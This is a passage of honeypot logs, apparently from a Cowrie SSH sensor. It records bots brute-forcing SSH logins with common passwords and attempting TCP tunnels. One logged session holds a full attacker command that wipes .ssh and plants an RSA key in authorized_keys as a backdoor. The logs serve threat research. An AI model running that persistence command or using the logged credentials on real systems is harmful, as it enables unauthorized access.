03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:18:01.629687Z","src_ip":"212.11.64.156","session":"3fda34fd2bba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steamcmd","password":"steamcmdsteamcmd","message":"login attempt [steamcmd/steamcmdsteamcmd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:18:02.103249Z","src_ip":"212.11.64.156","session":"3fda34fd2bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:18:03.216830Z","src_ip":"212.11.64.156","session":"3fda34fd2bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:19:21.340985Z","src_ip":"115.231.161.253","session":"e926bbebd011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":53598,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c6d70198440","protocol":"ssh","message":"New connection: 212.11.64.156:53598 (159.203.135.109:22) [session: 5c6d70198440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:19:37.805078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:19:37.809293Z","src_ip":"212.11.64.156","session":"5c6d70198440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:19:37.901723Z","src_ip":"212.11.64.156","session":"5c6d70198440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adrian","password":"Adrian","message":"login attempt [adrian/Adrian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:19:38.302100Z","src_ip":"212.11.64.156","session":"5c6d70198440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:19:39.442334Z","src_ip":"212.11.64.156","session":"5c6d70198440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.115","src_port":30272,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e4dcbab21c","protocol":"ssh","message":"New connection: 80.94.95.115:30272 (10.17.0.5:22) [session: e6e4dcbab21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:20:31.113550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:20:32.699420Z","src_ip":"80.94.95.115","session":"e6e4dcbab21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:20:32.883866Z","src_ip":"80.94.95.115","session":"e6e4dcbab21c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!QAZ2wsx#EDC","message":"login attempt [root/!QAZ2wsx#EDC] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:20:33.802673Z","src_ip":"80.94.95.115","session":"e6e4dcbab21c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"192.178.25.174","dst_port":443,"src_ip":"80.94.95.115","src_port":0,"message":"direct-tcp connection request to 192.178.25.174:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:20:34.190163Z","session":"e6e4dcbab21c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"192.178.25.174","dst_port":443,"data":"b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 192.178.25.174:443 with data b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:20:34.692100Z","src_ip":"80.94.95.115","session":"e6e4dcbab21c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"80.94.95.115","src_port":0,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:20:34.940960Z","session":"e6e4dcbab21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:20:35.119064Z","src_ip":"80.94.95.115","session":"e6e4dcbab21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":48688,"dst_ip":"159.203.135.109","dst_port":22,"session":"95ae55befe7f","protocol":"ssh","message":"New connection: 212.11.64.156:48688 (159.203.135.109:22) [session: 95ae55befe7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:19.516192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:19.521719Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:19.613687Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Server@12","message":"login attempt [root/Server@12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.013422Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.239071Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.242785Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.246698Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.342532Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.563001Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.566200Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.661520Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.665376Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":48704,"dst_ip":"159.203.135.109","dst_port":22,"session":"082bb0536e73","protocol":"ssh","message":"New connection: 212.11.64.156:48704 (159.203.135.109:22) [session: 082bb0536e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.767403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.770839Z","src_ip":"212.11.64.156","session":"082bb0536e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:20.879714Z","src_ip":"212.11.64.156","session":"082bb0536e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:21.348857Z","src_ip":"212.11.64.156","session":"082bb0536e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:22.461545Z","src_ip":"212.11.64.156","session":"082bb0536e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":48716,"dst_ip":"159.203.135.109","dst_port":22,"session":"29c9b4789221","protocol":"ssh","message":"New connection: 212.11.64.156:48716 (159.203.135.109:22) [session: 29c9b4789221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:22.549250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:22.553696Z","src_ip":"212.11.64.156","session":"29c9b4789221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:22.645460Z","src_ip":"212.11.64.156","session":"29c9b4789221","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:23.045259Z","src_ip":"212.11.64.156","session":"29c9b4789221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:23.139716Z","src_ip":"212.11.64.156","session":"95ae55befe7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:21:23.143983Z","src_ip":"212.11.64.156","session":"29c9b4789221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.212.22","src_port":41866,"dst_ip":"159.203.135.109","dst_port":22,"session":"f79c69ca4dc6","protocol":"ssh","message":"New connection: 43.133.212.22:41866 (159.203.135.109:22) [session: f79c69ca4dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:22:38.657116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:22:38.662143Z","src_ip":"43.133.212.22","session":"f79c69ca4dc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:22:38.845373Z","src_ip":"43.133.212.22","session":"f79c69ca4dc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"family","password":"123456","message":"login attempt [family/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:22:39.618580Z","src_ip":"43.133.212.22","session":"f79c69ca4dc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:22:40.804567Z","src_ip":"43.133.212.22","session":"f79c69ca4dc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":56032,"dst_ip":"159.203.135.109","dst_port":22,"session":"2521d7f42f5e","protocol":"ssh","message":"New connection: 212.11.64.156:56032 (159.203.135.109:22) [session: 2521d7f42f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:23:02.003850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:23:02.008432Z","src_ip":"212.11.64.156","session":"2521d7f42f5e","protocol":"ssh"}
